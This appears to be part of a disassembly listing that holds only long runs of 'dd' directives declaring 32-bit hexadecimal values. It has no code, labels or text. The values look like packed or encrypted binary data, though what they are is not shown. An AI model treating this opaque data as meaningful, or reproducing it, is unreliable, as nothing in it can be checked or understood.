		dd 93FD78Eh, 22E4506Bh,	0C8654AD7h, 97C58A81h, 8FF2960Bh
		dd 0F0869656h, 16C9931h, 0AE877A4h, 2A8BB946h, 6EADB5A9h
		dd 5E180B62h, 0BA66A40h, 375721A9h, 0C0E0AE1Fh,	89DAFD86h
		dd 4E98B900h, 0D1B7BBFCh, 9D6D4030h, 82B7135Ah,	12F98924h
		dd 0E22DBC21h, 5D3E2C46h, 0AF21A4Ah, 135DE893h,	7ABEC6A3h
		dd 0B67F12C1h, 0A75E5CA2h, 6D017C56h, 28AFD17Ch, 0B32A7DA8h
		dd 8BFF88D3h, 0CECDC18Bh, 52AC06C0h, 51250057h,	3D6D4DBBh
		dd 59955F1Ah, 250254EEh, 0EA8CB289h, 0EBF12Ch, 3AE0E2FFh
		dd 7725191Ch, 0FA94490h, 32EDBF6Bh, 0AF1800D2h,	7638872Ah
		dd 0D5926D01h, 9050D80Eh, 1476E3Fh, 5D933AF1h, 1E607707h
		dd 6A3B251Bh, 0E778F153h, 75060147h, 11B0F45h, 22A96B03h
		dd 2DD43EBDh, 0EC95018Ch, 2143132Fh, 0A033E98Fh, 509BBB66h
		dd 2679D485h, 0A5DC0806h, 0F9580229h, 33EB810Eh, 9021E1D7h
		dd 852BA9B3h, 55F6FB95h, 0D4CA4E0h, 55D9B5Ch, 0A603CDCAh
		dd 2937ABAh, 0D0695EE5h, 7ED0DDC5h, 0AD5548B5h,	93EE950Dh
		dd 4555CDA2h, 0EEA400FEh, 2C273152h, 59F1B209h,	92A6714Bh
		dd 8932A889h, 1C07FEFFh, 36572741h, 9F86EC35h, 1C228918h
		dd 2B026A06h, 9F4F0DBDh, 6EDAF2E1h, 51C0F930h, 0B12900F9h
		dd 6D69C59Dh, 4602807Bh, 1B65EA77h, 7134D390h, 5D206FD6h
		dd 0F6631758h, 91130044h, 7D8247F3h, 1B4AB3ACh,	19ACBAEDh
		dd 3670BF8Ch, 0F1CD2000h, 46BE70BFh, 18109F14h,	0ADF4D4F2h
		dd 0AC19E307h, 4C80980Fh, 5E912BDDh, 5B9AC823h,	0E795E97Eh
		dd 6830479h, 50017A08h,	8F0F495Bh, 3CDC6E1Fh, 8C4400B0h
		dd 108220D4h, 9C00F96Ah, 0A4533AB1h, 7C11992Ch,	0BFEC986Fh
		dd 2A5FB249h, 6BAD8BA9h, 6D8F1DF8h, 6EE1E43Fh, 66BD3DC0h
		dd 0CA004FE6h, 32DA3CF9h, 7685D9F1h, 4AEA1284h,	5857E378h
		dd 22BC4AB0h, 0C49DE94Ch, 520DB658h, 9F1923EFh,	47170C88h
		dd 8D0F600h, 0F86DD4B7h, 5F5716C9h, 15CFAA5Bh, 420870D3h
		dd 1F0AB5D1h, 9515B7F5h, 0C6561D12h, 0CE889ABFh, 4211C17h
		dd 0EEADF433h, 1AA176C1h, 6289CA2Bh, 5D165D1Ah,	891F135Bh
		dd 5E2C2109h, 1D467E21h, 56182300h, 0AC80E1D1h,	0A5C84401h
		dd 26299589h, 21D4227Eh, 0F2BB5104h, 4B967FB8h,	2D80F049h
		dd 0DD6F0BE1h, 0C5D38A40h, 779B0E0Fh, 0FAB8C0A9h, 51B5242Dh
		dd 3BCB4613h, 9124F866h, 25B070A1h, 405F1CB7h, 97FC8A64h
		dd 31B23625h, 1CE5A7h, 976CC380h, 1AD53309h, 0E9C67F38h
		dd 2CA5B510h, 85BD2381h, 1ECC2B1Fh, 9951699Dh, 24BF2FFFh
		dd 0B242411h, 0DA5231A1h, 0E9F8D10Ch, 12BB616Bh, 0FAD3A0C0h
		dd 4E49D607h, 0B1294403h, 242E308Dh, 5D2812Dh, 7799170Dh
		dd 779664A2h, 80AAB8D5h, 0E94E12EFh, 0DDD3C839h, 0CF7254Ah
		dd 1912FB4Ch, 221DE247h, 64BB0420h, 0AA58B5B8h,	0DAF4B1DDh
		dd 560C8210h, 6425CF88h, 211FCCE2h, 1AF186C4h, 7C02D618h
		dd 2C6BFB70h, 4B705636h, 0F2F7B075h, 0A9FE38F3h, 5BAA1285h
		dd 0D4755D29h, 9B0E1BE9h, 805E4320h, 8499279h, 609FEC6h
		dd 7E3611CEh, 6FA99EB6h, 0B41314F5h, 0E09FD403h, 865909h
		dd 51028955h, 1097B9CBh, 98BDBFh, 84301028h, 4B0A4927h
		dd 0C40CDABEh, 4BBCD512h, 70B760C2h, 5C018DC6h,	0E89CDAEEh
		dd 4BF069B9h, 0BD98021Eh, 0FC618E93h, 253D06E1h, 0D1A72A9Fh
		dd 5AE5F0A0h, 29327490h, 62D24D07h, 0FEFF54E1h,	0A1001B46h
		dd 8876EDBBh, 855E5B3Ch, 0E781AE41h, 0FD399756h, 3190C3B9h
		dd 77125B26h, 8C04F9E9h, 0A2BABCE6h, 0A1B53BFDh, 3E384A2Eh
		dd 617B1825h, 0FFEEB789h, 0F369E097h, 0BB171228h, 1AF9FE04h
		dd 0AC198852h, 0A3418007h, 36E0DDF4h, 234C62Eh,	456483ECh
		dd 0B27C22D8h, 0E8FE97DCh, 0A074052h, 0C294956Ah, 6FB7915Bh
		dd 0D25BA3B0h, 0B58ECA03h, 0DE9A6h, 0F3FD091Fh,	0EE514F53h
		dd 0B90C86FCh, 8A43686Fh, 0B88F3817h, 40FE74Bh,	0E5D5333Ch
		dd 7D17DE1h, 0F105BB04h, 70AE2DA1h, 0E1FFFC3Bh,	25CAB7BFh
		dd 0A4376675h, 7B4500C2h, 0EBA16578h, 0D9024C90h, 745243CAh
		dd 50125CB3h, 0CF9F04BCh, 13D140E7h, 0C25A866Ch, 0B3C4D5B9h
		dd 8109AF03h, 0C23C711Ch, 1E53049Ah, 0BE261A00h, 0A9AB8Fh
		dd 6515CD7Ch, 28A058FCh, 7163D304h, 0D0EC4F2Eh,	32C55B25h
		dd 7D533B1Ah, 899583D8h, 0C069CD2Ch, 38396885h,	35EDA802h
		dd 5DBD3171h, 3958C9A9h, 24837B7h, 0F55E6A0Fh, 15990840h
		dd 0E26FE695h, 0E17B9D01h, 30B3C0D0h, 381506E8h, 0AE182010h
		dd 316CB83Fh, 2B5B810Dh, 1523456Bh, 0F2E8361Fh,	5C745C25h
		dd 0AD4DE914h, 0E909F145h, 0C19807D9h, 0D1595769h, 9C0B5D2Dh
		dd 0A01664DFh, 1FAF9D63h, 2CDBF164h, 90580506h,	0CCF6FFF5h
		dd 4457E1F1h, 0C1DDA8C1h, 5B592DEBh, 788F0D8Bh,	803B16D5h
		dd 0B8584Bh, 64C247B3h,	5041841Ah, 5935350h, 5DAA274Fh
		dd 0DEA37A6h, 4AC132D8h, 56324C8h, 0F764258Ch, 0C02F9B58h
		dd 254BCE60h, 48C8EA09h, 52418C11h, 0CB98A83Fh,	0CAC65FBFh
		dd 6E51D7A1h, 33D221A9h, 8AF0D189h, 9D008BBEh, 9FB5EE7h
		dd 2FC4EF6Eh, 0BDD5FDE9h, 220A0226h, 0C2509B47h, 7B12455Ah
		dd 1DAC2BBDh, 0CCF7008Ch, 0D3C75CA0h, 5528A870h, 2909BDFBh
		dd 7B1CADBDh, 4C84A51Fh, 0D9BEB13h, 2A0F6D4h, 0A1E4BFA7h
		dd 1C141C2Eh, 3049BC1Dh, 0A22F794Bh, 0C81A5BBDh, 19D32349h
		dd 26C7229Bh, 9BF1F187h, 7E207B01h, 134407D4h, 643F7845h
		dd 7E68C103h, 2A122F6Ah, 36E0B1A6h, 0F90B1B27h,	19E03203h
		dd 0A3F5AE47h, 1D985CECh, 85A81E9Bh, 0AE852613h, 90F431B0h
		dd 24342D85h, 25E8377Dh, 0EBB4197Fh, 7D2D6h, 2344656Dh
		dd 7F5403DBh, 42A36700h, 0BA2A78DAh, 2583904Ch,	0D57B5BDEh
		dd 0C6181B59h, 89FAC107h, 0ACF09499h, 96119D01h, 93311DE5h
		dd 68A98039h, 0D827EC69h, 96D94079h, 4BC777EFh,	4155CDF9h
		dd 42A6150h, 0EABCD4BBh, 0E37E2C8h, 0FCE9707Ah,	49E0120h
		dd 3CBE5ECBh, 27D1DEA5h, 9D2BCE71h, 5A7A78h, 0D92EB351h
		dd 3A80DFD4h, 386BB097h, 37BF2818h, 63DF12E2h, 566F61h
		dd 76680CE2h, 270F9DDDh, 1657DBB7h, 0CE0C422Bh,	3B7B1342h
		dd 0ACE8244Ah, 75E580D5h, 0F05F62h, 91F37BF6h, 97E89AD3h
		dd 0D95B4004h, 0A3BC23FFh, 29A5BDC2h, 4AF6DA1Dh, 23B92F16h
		dd 0E8122AE8h, 24FEE147h, 355A817Dh, 0A8382F17h, 7A044A3Fh
		dd 2F7517CFh, 2CE025EEh, 44A1001h, 0AA33AA7h, 6A8B9ED9h
		dd 9023A198h, 0BF0740DEh, 9025C0F2h, 0D6465C30h, 6A241446h
		dd 20591F18h, 0B125CBB0h, 5CCA7914h, 812C213Fh,	0F0B332C4h
		dd 0A27AF98Bh, 0F9E9A983h, 80CBEC2Bh, 7307999Ah, 0DD1A03AFh
		dd 6C8A19D9h, 42239DB8h, 0FC965B26h, 4DE27A60h,	9A8D3AFAh
		dd 0B76D2D80h, 679452A3h, 0D9965025h, 778BA0D0h, 8159B5A9h
		dd 9142C565h, 5E9BF380h, 53F565FBh, 0DE7BBA9Bh,	81D60E1Ch
		dd 891D649Bh, 0B566305Ah, 0DAC52D4Bh, 4FA9E6BAh, 670229B3h
		dd 0CB58AD25h, 1B217F40h, 0F25554B7h, 28D4515Eh, 2F953FECh
		dd 0E730A8Bh, 49465EAFh, 41B63855h, 0B4739D21h,	2D181651h
		dd 29C12B05h, 0E0EA5195h, 205A5053h, 0CD00AF6Eh, 0C873924Bh
		dd 5BB5260Ah, 0D7EC5A46h
		dd 0C9BAC450h, 0CEC9024Fh, 0E613252Fh, 7933E027h, 4A1103FAh
		dd 9026A47Dh, 17A96411h, 9F617576h, 0C50193DBh,	6C75E7CAh
		dd 1D23EC0h, 501CBFEFh,	6B5B56A3h, 38DBAAD2h, 3595DF8Bh
		dd 931B9113h, 6B5331FEh, 0C7C03AF1h, 5B6F92E4h,	0E338BE96h
		dd 0D5909F50h, 0A57A158Dh, 0C1F5F4B7h, 3A38B796h, 0C8FC9CE9h
		dd 53ECBF8h, 417BA7C5h,	0A96E0C3Dh, 603EB9E2h, 926D7F6h
		dd 1889B512h, 22E248E8h, 72B30B29h, 77ABB04Ah, 0AA5E8AF1h
		dd 40CD746Bh, 7A7B8F0Eh, 0BE7FC3Dh, 575F12B3h, 6CA574B5h
		dd 0AF6202C5h, 773DDE33h, 2CCAC35Eh, 9056403Ah,	5BF82517h
		dd 1A64C8EDh, 9F32B060h, 0BA66B909h, 4BC7B90h, 1208EDBDh
		dd 4F8F7704h, 55A3C0BCh, 6DF50987h, 0A9B0C091h,	9A976B1Bh
		dd 6589DDD9h, 0DA5CB942h, 83E3727h, 37004C94h, 7FF78157h
		dd 14A825A1h, 7D792F5Ch, 0A2E9ED8Bh, 0D4F8897Fh, 0F2E1E50Dh
		dd 96E04FB8h, 0BE9B97CDh, 0E742A4C8h, 4A12714Fh, 2ADDC9EAh
		dd 0BF4F6FE3h, 0A50245Dh, 8C120149h, 93B71Ch, 6EF3E258h
		dd 3B7D4B1h, 0B4E4A280h, 1B06CF5h, 0DA24833Ah, 464B081Fh
		dd 0CCED004Ah, 0C76190B6h, 430CF29Eh, 6C27A3FAh, 0D5BD2F0Bh
		dd 0D0F2A17Dh, 77DA0816h, 0E2124B1Bh, 4FF1502Ah, 2F69CB01h
		dd 0DE318923h, 6EDC8AC9h, 0A0BC84A9h, 50860F39h, 5788087Ch
		dd 7B980A3Ch, 34CE2ACDh, 0F5D305DEh, 0FB99350Bh, 14C98361h
		dd 0A4B2B83Eh, 80C2A8DAh, 9057CBBDh, 5CC569Ah, 4FD66171h
		dd 0F2FF003Ah, 99FDBF7Bh, 10786000h, 0B5BD33E0h, 0BBE3B604h
		dd 0BC0C9D12h, 3F9AB518h, 0CB76AEC0h, 0A1129832h, 0CE1C0920h
		dd 34AE2193h, 0C2BC9A25h, 5EFA8BCEh, 0A74C51ADh, 98B75F24h
		dd 0AE71E300h, 188687Eh, 0BB9BA3CEh, 2052026Ah,	0ED3F6CC3h
		dd 505B84EBh, 229488B7h, 48173D8h, 3AC1F3DFh, 149F259h
		dd 2F2DA4B2h, 0B471E787h, 249CCE2Ah, 92A564DAh,	0B379DDECh
		dd 0C98FAC80h, 0F2B375BCh, 5F4A2D06h, 0FF701B53h, 7911261Bh
		dd 584C0931h, 74AD1179h, 0C5EF0146h, 3B605B7Ah,	4CB867CCh
		dd 210B76B0h, 0A2DDFFB1h, 750383F4h, 64607ACFh,	25B7BB23h
		dd 0E5DBF88Ah, 44BAC20h, 204B0ACAh, 0B9C29A64h,	15976301h
		dd 3F01FF07h, 7FDC1FD5h, 80CF167Eh, 11D9EA4Ah, 8840B87Bh
		dd 0E781C087h, 8E255715h, 0B00AE659h, 0B6F2B766h, 0C5057525h
		dd 4CE4119Dh, 32C51075h, 0B300B038h, 8B70E6BEh,	7162E4FBh
		dd 552DC5D4h, 0C6455466h, 0F500CF33h, 215937CAh, 81013345h
		dd 4D6BC2C3h, 12E5F68h,	0ADBD31ACh, 0EE211D22h,	0BBA0002Bh
		dd 4B4ED05Ah, 62CF8102h, 5552560Ch, 0B988F976h,	0B4C89918h
		dd 4AD12DA9h, 86DAD5A0h, 5A71F858h, 0A9244DB1h,	62D6A207h
		dd 856AD702h, 13A5B1D5h, 40C9874Ch, 526EE90Dh, 0B5298417h
		dd 2B7BE5BBh, 8CDD9F37h, 0A431D7F6h, 55FC1235h,	710B4065h
		dd 0C71E7C19h, 9AE7906Ch, 530346D4h, 0B60933B0h, 695BA82Bh
		dd 0C3F351ABh, 0DB816800h, 0BA2C2798h, 5BE25E56h, 9FEF7597h
		dd 59783F40h, 1BCC4AFCh, 4C6FA7ABh, 732029FEh, 0A057938Bh
		dd 5F800B3Eh, 5B74DB9h,	0E2553269h, 2F495628h, 21C4006Dh
		dd 0E80073E2h, 8D5C4687h, 11002CDCh, 0CBC83AA4h, 7562B9Ch
		dd 0DA8160FCh, 0E51CCF46h, 645FE809h, 0A3D19573h, 0F325BA9Ch
		dd 6C1A80AEh, 80A221Fh,	17B7F100h, 41C16F48h, 0C8211792h
		dd 2D08BC18h, 5551FE14h, 3E7AECA5h, 767E72h, 0A2DBD4E5h
		dd 0FEBBB7Dh, 3774042Eh, 707A53ADh, 0E02CD4CCh,	82ADE6FCh
		dd 77880D6Bh, 636E4E6Fh, 89026003h, 9EA4A95Ch, 215E606Fh
		dd 0CC0EA0DCh, 0C72E6C1Bh, 10A0CA87h, 2D936933h, 5E563BBAh
		dd 0A5382C9h, 996555BEh, 785050h, 0A63430E0h, 0E7E1CE96h
		dd 120DF8CEh, 60BD7DACh, 0B6BE7124h, 5F09BD89h,	612D67D2h
		dd 0C4DA712Fh, 604B39h,	0BBB02450h, 0CF5D1201h,	0B741612Eh
		dd 32342EE3h, 0D8925EECh, 0BF3F301Ah, 99CF1358h, 1BE91904h
		dd 0E1FF5F03h, 2A80E1ACh, 7B102E8Eh, 25198404h,	2740E73Dh
		dd 3325C7C0h, 31DB6D1Bh, 52C41FCh, 0E024A6AAh, 829133Ch
		dd 0CC52EB1Bh, 0D6F368h, 0B35BE270h, 0CC813898h, 0FC320A17h
		dd 5D7BFFh, 5D4D97CBh, 4E629591h, 0DBF2F43Fh, 0C9B4F025h
		dd 8C2FE02h, 27FF09F1h,	1859D75Bh, 5A39EE18h, 58B9A56Dh
		dd 0D91A95BEh, 7700645Dh, 6E100378h, 0B568A150h, 207BCEA1h
		dd 6403B835h, 29DDBF6Bh, 5B618183h, 1517DD7Ch, 33705601h
		dd 41D069E9h, 292F08D2h, 0DE77766Ah, 627AB900h,	8BB7DC3Eh
		dd 0A5F097D8h, 0F3601640h, 9D9344DEh, 1E300304h, 0BCA46880h
		dd 0FA53EEA3h, 815B37DEh, 7B4740A0h, 0E72F8011h, 0C5B1F43Eh
		dd 8671AEFAh, 8C112211h, 0FF85080Ch, 7AFF8912h,	0F6E9134Bh
		dd 0E27AAE01h, 809BE4Bh, 0A6897F29h, 0B7897C53h, 56B055C9h
		dd 21425DBDh, 0E0C4B697h, 120D1EE6h, 93CD745h, 4DF5DA0Fh
		dd 4B7B49CEh, 0B3CBFD00h, 0A08D8008h, 812AB1DCh, 360CA89h
		dd 3D24BC1Fh, 0FE496D68h, 691DF4FCh, 8C8020CDh,	566057E7h
		dd 0F88B0929h, 0B7FD4689h, 0B00E8F31h, 14C178EFh, 0F240CC97h
		dd 0F76D427Fh, 41EEE040h, 0E9ED634Fh, 0B10197BCh, 0B4C4F623h
		dd 0B87F8615h, 0DFBFC5E7h, 4BF37380h, 4A99956Eh, 0A7826F56h
		dd 685B0025h, 0B0B9424h, 0D7525054h, 6FFB5D31h,	0DB0441F6h
		dd 0AE541497h, 0ED80A2DBh, 0D5D89E2Dh, 5E41BC32h, 13CF758Dh
		dd 3FE4CBE0h, 0E61105DEh, 0AEF357F0h, 1BF0F8Ch,	3992565h
		dd 2B6DB531h, 0AAF353AAh, 74E09B5Ah, 7D9440B9h,	55139A1Eh
		dd 52AA5B57h, 0E59BAF9Ah, 94E22B80h, 6AD2C0B7h,	559D1572h
		dd 614FA5D8h, 4F774E6h,	0F572ACA8h, 22E087B6h, 1495D9B3h
		dd 0F78F5F8Dh, 7692B211h, 17FD0B52h, 3BC03D76h,	1C5753h
		dd 5AF4EAC4h, 706786CBh, 0B5D2BC16h, 3C6270F9h,	5B0426A5h
		dd 0E143C8BFh, 0D1576E00h, 408328F0h, 5B681397h, 29B06021h
		dd 2E6239B5h, 5745E93Dh, 0EF6003EFh, 4118AFCh, 295379FAh
		dd 3589BA9Dh, 801DD7EAh, 3BB55FD2h, 0C9AEAE16h,	1EE857Ah
		dd 5E45D95h, 25452585h,	1011DB67h, 2E4B8351h, 411F0137h
		dd 6A083D85h, 16C8D5DBh, 3BE487C1h, 81B4302Bh, 8017D4CBh
		dd 6BFE2FDEh, 0C0184D13h, 51711C12h, 1DE49D98h,	5E32894Ch
		dd 6CADED12h, 0B78C17ACh, 823FE47Ch, 0EDD289E3h, 93E47F2Bh
		dd 555092B7h, 0E40117F4h, 5F116971h, 92D1F8h, 723DBB51h
		dd 96F219F1h, 0C5594D97h, 0E277AA49h, 60735599h, 5E8BD4D0h
		dd 0F0B2C8D9h, 307E4278h, 1F863300h, 2999945Ch,	0D492D91h
		dd 56AFAFFEh, 0AF00F6B7h, 0BBB19FBAh, 98AB30DDh, 200125BEh
		dd 0DFE8845Ch, 5B2F3509h, 0CC64A7BEh, 8832DB00h, 4A5F5C58h
		dd 0C38E35Bh, 75E8CAh, 26CDBF0Bh, 6E7B4CEFh, 8290810Eh
		dd 471E2020h, 274D0F87h, 0E354D9C5h, 3651ADh, 0E4250CB5h
		dd 79B734A1h, 0C618429Ch, 8644324Ah, 0E4A50B95h, 972900C4h
		dd 2235248Bh, 2C09A278h, 5BCE339Fh, 0E26DAD94h,	77BBE340h
		dd 12FB0249h, 7C46A794h, 315A582h, 289C5309h, 0CDC79DECh
		dd 0EB938010h, 0CE07377Ah, 0C2EEBB98h, 0F35C0C8Fh, 0B1D35E2h
		dd 200075C4h, 7787D36h,	480AB68h, 589B2216h, 0A5F6AF79h
		dd 0C4409CA5h, 0E24F8E0Eh, 0BA5EA1D0h, 206A96D8h, 0E19FEA9Dh
		dd 92D8613h, 50F2C0AAh,	43B68F0Fh, 0D7D8609Eh, 4F61F21Ch
		dd 80D5DB96h, 7178274Dh
		dd 84EB12D5h, 2EEE2F0h,	0E1C3B043h, 5B9496C2h, 652AAA17h
		dd 37E5BED2h, 3424F02Eh, 0A3CAA84Ah, 0BF704E38h, 0D57A11FBh
		dd 8904AFD9h, 0BEAC55BDh, 0EF7FF8CBh, 7E0342A7h, 8252AF5Ch
		dd 0D725716Fh, 5460B73Ah, 2F8505D9h, 0F1223D6h,	81C04FB9h
		dd 3A8817C7h, 0F023672Dh, 556795C8h, 9A4C4511h,	0EF0D0D34h
		dd 18152C8h, 0BAFE1295h, 6A327CF8h, 1CA8D2ADh, 4600DCACh
		dd 902052B7h, 263BA2Bh,	53CBBF4Eh, 98F0190Fh, 0AB5967B5h
		dd 62275851h, 0F8B4290Fh, 6BB908A6h, 0D2F2EBF5h, 810A57FCh
		dd 0A200DE12h, 3D2E8F7Bh, 0B78D8907h, 0F592C2D1h, 52FE1B16h
		dd 0AC88AD02h, 7ABF8C17h, 9BBECACh, 66CBB939h, 0D14060E2h
		dd 2EA207C5h, 0EF5FD862h, 58684080h, 97067ABCh,	8123BB66h
		dd 4F25F8BCh, 0F021B608h, 2766BB36h, 225543F2h,	5FD88B17h
		dd 938970E1h, 84FE60C6h, 2A2FCD4Bh, 0BF8E10B2h,	30D7112Bh
		dd 0EC952FCEh, 75301F07h, 4C5DECFh, 0BBF2057Eh,	9AA91C16h
		dd 7E5AD889h, 0D03EDBBDh, 6F01EAA1h, 0B4CB2093h, 0C620E862h
		dd 0CD044A1Dh, 446A6A7Fh, 12776127h, 33047795h,	94B8AE14h
		dd 0C4308FC7h, 0B715C068h, 7EB5086Bh, 0A051E979h, 9EBA9F44h
		dd 0FF3DCBD8h, 0A85D522h, 8B4429h, 0E56BD222h, 0C46238A3h
		dd 0B08CE00Bh, 5C2277F2h, 0ED759050h, 0EE09C71Bh, 0EC2756Eh
		dd 677C412Dh, 4C36A140h, 1FFA0187h, 0EE5A29A0h,	45852068h
		dd 20EC0E5Ah, 0A8E300AEh, 4B52586Eh, 7E5C09A9h,	0F3596BE9h
		dd 925CDC2h, 134092F0h,	4F669831h, 0A062B70Ch, 48ABC08h
		dd 8BE74DD1h, 388D8CD9h, 797F4603h, 0A0F41F6Eh,	4F576485h
		dd 3F33AA77h, 802F010Eh, 0F90A9D94h, 0A4752AFCh, 2F06C8h
		dd 687C2E4Ch, 0B045EC6h, 0B7B24200h, 3849E29Eh,	16C58058h
		dd 97E8558Ah, 7303A5BBh, 310F3D4Ah, 8C618B60h, 0A2932BE8h
		dd 0FFFC00E8h, 847D6A2Ch, 0BD2B0912h, 5710A69h,	0E99D0E49h
		dd 5AF05620h, 0F9056455h, 6ED5EEA5h, 6A9581D5h,	55F9D7E6h
		dd 450B9C26h, 0E7A8E81Bh, 0D89C4AC6h, 14022F7h,	2EBF0B66h
		dd 6C48B0FCh, 44B770E6h, 0F4841FF5h, 60B840CCh,	19B418A1h
		dd 0A7615F3Dh, 9FCAE62Bh, 0B3257DFAh, 0F00BC9ACh, 2A58A115h
		dd 0D790FB18h, 53AE3439h, 0B952AAD4h, 3F81F2BFh, 5B2B58B7h
		dd 0BDBC5620h, 0C48412AFh, 84AFAC12h, 500C2209h, 54B7DB62h
		dd 71BB010Ch, 41657F9Bh, 33DA1h, 520FC82Bh, 510ED089h
		dd 0FD2427BFh, 0D7C0AA04h, 0A0B2E380h, 29AD1789h, 16C490E9h
		dd 2F8AA885h, 8261FC49h, 618D0907h, 56C69255h, 4AAD1116h
		dd 981424D2h, 0B402E5E6h, 0AA72A550h, 0FB5DE92Fh, 256425F0h
		dd 8501189Fh, 0BC630030h, 3671F57h, 5B4B1740h, 98EE3085h
		dd 112DBD43h, 4FEE5124h, 0DD88DFA9h, 8C0F0465h,	0BBCDEE1Ah
		dd 0E925A76Dh, 5652A179h, 0A812E135h, 0D6ED2E07h, 0D9F66FB9h
		dd 575B5209h, 2B02EBFCh, 536A5F84h, 0B6FB786Dh,	80B4C538h
		dd 8DD38105h, 9773292Eh, 447E5B1Ah, 529602DCh, 6425709h
		dd 71CAC277h, 7BE8071Bh, 255F11FDh, 0C5CB3E95h,	0B3920F7Ah
		dd 0EDDDB96Dh, 8609FF3Dh, 0D4E87F1Bh, 0AC3FD05h, 85B8F98Bh
		dd 79ECB4A9h, 7A2D03F8h, 618277B4h, 3775D22Bh, 751300E1h
		dd 0E53E9D20h, 24ABD85Eh, 1BE3AF99h, 8A95C8D6h,	0AC6EFE4Eh
		dd 1F8ED4Eh, 189DC2D6h,	0FA2864C0h, 0B700AA93h,	0B3B56E2h
		dd 8410978Bh, 189D810Fh, 95086DE2h, 9291F26Eh, 0F69002BDh
		dd 60D754DBh, 0E334FBDh, 37861B7Eh, 0BC8AC9E0h,	0F94BCC8Ch
		dd 0F6EE6A95h, 97ADF029h, 0B35E25AFh, 525C6B5Ch, 0C110648Dh
		dd 0D0884E12h, 0A258001Eh, 0AE27D34Ch, 0E13A1394h, 840704B2h
		dd 0E0F5DCh, 0A60645Fh,	0B915D1CAh, 5B51002Ah, 61FE9561h
		dd 3B432351h, 0ED1C5F8Dh, 0D8B7C4E1h, 0F76AB5C2h, 5EAA77F1h
		dd 31E1FF13h, 71209309h, 0AF65C46Bh, 9A0CFE7h, 2C038E23h
		dd 4061F34Bh, 4B8C75C5h, 348D8AD7h, 0D86F6B4Bh,	0BDCBE702h
		dd 0D0403894h, 10B6426h, 0D5088985h, 0DE4BE11Ch, 857AEEh
		dd 52F1BD56h, 80121BAAh, 60810B75h, 8571EC2Ah, 0E2BF8C66h
		dd 3F6D0019h, 0A6E2BDA1h, 467E1264h, 3A1E1D5h, 0B9EC138Ch
		dd 1651C7Bh, 0A8377527h, 0FE28170Ah, 0C9A4FE2Dh, 4FB0F49Bh
		dd 0BE256DEAh, 59585B84h, 25A81815h, 13F7907Eh,	7C80B2A7h
		dd 290B6997h, 0B95414FFh, 0A24E17F7h, 0C94B01D7h, 0BA1E9D40h
		dd 2D99E87Bh, 0F53FE15Bh, 5A59B82Eh, 3FF094E6h,	0D20039A2h
		dd 1BB5210h, 0B84E73E7h, 49BF1269h, 0A49ABFFBh,	0AF2D2400h
		dd 4EFE3E74h, 1250CA25h, 72EC7D43h, 617D8B6Fh, 1275A3ADh
		dd 0F93DE9E6h, 12B7E33Fh, 62F658D9h, 1A71D7E0h,	12A60F2Dh
		dd 0C6707DD4h, 55F02927h, 29D4F212h, 2098D08h, 10019D33h
		dd 85CBBA7Fh, 0D7AF5598h, 0AEDE69B1h, 0E9FA12FCh, 8B7E919Fh
		dd 59A66AFBh, 6294BF09h, 4E9DE470h, 0EF76BFA0h,	824D91C2h
		dd 552EFDFFh, 149144B7h, 0BC602A84h, 5B612DFEh,	25BD0B6Bh
		dd 37FD9FCAh, 6BBE80D9h, 6E4E9AE1h, 0B602603h, 761B958Dh
		dd 7612063h, 278245B5h,	35503D53h, 893B12EAh, 0FAE6BE46h
		dd 0D4F7D9F0h, 8A9F2D28h, 25BBFE4Fh, 0F8D6E0CDh, 83ED51BFh
		dd 9CCA58B6h, 0B4727ED8h, 81968B2Ch, 5D3DB5E2h,	4C00C16Eh
		dd 0D39F0C07h, 1278A008h, 0E36C3AD0h, 0F94150EAh, 2682640h
		dd 3C42928Dh, 0DC5CDD8Ah, 5D917207h, 8D32609Dh,	0FE858D16h
		dd 0B7C251DEh, 0E6DDF660h, 99F95B23h, 0B8D979FDh, 537E003Bh
		dd 0FA5D2C28h, 0A1A6603Dh, 82C35CBDh, 7AB3FD49h, 6CAD6A41h
		dd 1AD4ABCh, 0DCCDE59Dh, 776DEDC0h, 0CD6B69BBh,	4B0BCF7Fh
		dd 0C6007D5Bh, 0B1C1BF6Fh, 50F70025h, 0D3813B90h, 0D52F48E7h
		dd 0D2D9FC08h, 5ADCBBFCh, 16D3B62Ah, 9AAA0F71h,	602EFD47h
		dd 0D36EE58Ch, 5B01F097h, 0A04FA719h, 0ED451F5h, 85C07F17h
		dd 0B8BED3E4h, 1D0A36Eh, 9470BF57h, 4BF51801h, 27D778E3h
		dd 0D522D509h, 0FDC0DF95h, 599B5548h, 291EF765h, 0FE0317B5h
		dd 0CC26F36Dh, 436F5AF0h, 0A042E10Ch, 97FE6E32h, 0CE59711Ah
		dd 579D2B89h, 3350E1C1h, 0CFC14B63h, 868212CDh,	0B0B4619Fh
		dd 0CD95DCF8h, 3485C094h, 9A025C25h, 0FBDBF3Bh,	575B7788h
		dd 2EE53C84h, 3FECB1ABh, 9E2E5BCh, 5549E65Eh, 1D91E535h
		dd 672D0C80h, 0F2B755A1h, 89F0164Ch, 4F1EF9BDh,	2F513812h
		dd 298093CFh, 5BB7350Ah, 0A269FFD7h, 1BB0D726h,	10B7370Ah
		dd 95CD1Eh, 0BA7DD836h,	641FDE45h, 55536101h, 7AFCBFF4h
		dd 0B518D83Ah, 95270520h, 5C035B89h, 0BE236EDh,	0B72D445Ch
		dd 0FFDB1767h, 0D580292Ah, 13734BACh, 9E23FBBFh, 8117A215h
		dd 45E152D7h, 0A053CA3Fh, 548EC4Bh, 3E2379AAh, 66BFB93h
		dd 94001923h, 0E20B0CAh, 5196247Dh, 6270ADB3h, 970D9BBh
		dd 7AF00033h, 0CFB75263h, 0BD2A035Bh, 51BDE969h, 45015417h
		dd 56074690h, 202F66D6h, 0B1382880h, 8ADFFE0Fh,	0B23F8072h
		dd 74583492h, 4C020068h, 0BFFBE533h, 0E21225CDh, 43E35F12h
		dd 0BBFAFA64h, 3C335220h, 0D3460054h, 0E717AC41h, 56B75FB8h
		dd 0BFB07B1Ch, 13B650DAh, 0B218FF40h, 59530465h, 0AB694915h
		dd 404918A8h, 6EB8D55Dh, 646D6D95h, 0F80C6016h,	9876B74Eh
		dd 0F3FFFE64h, 29BD0942h, 2952D209h, 49E0264Dh,	0D17D7D09h
		dd 0C7659600h, 0E70C1421h, 0DDFEA150h, 2FDD5A61h, 3C5A382Eh
		dd 0D9B72584h, 60714AC6h
		dd 90585630h, 4AC5B6F1h, 0A39C8861h, 92A51001h,	311641DDh
		dd 168D24E0h, 0ED7A8894h, 7F612F23h, 0BBD01613h, 0C650EA72h
		dd 795AA107h, 8690A5B3h, 9235280h, 0BAF42DC6h, 0F62E0997h
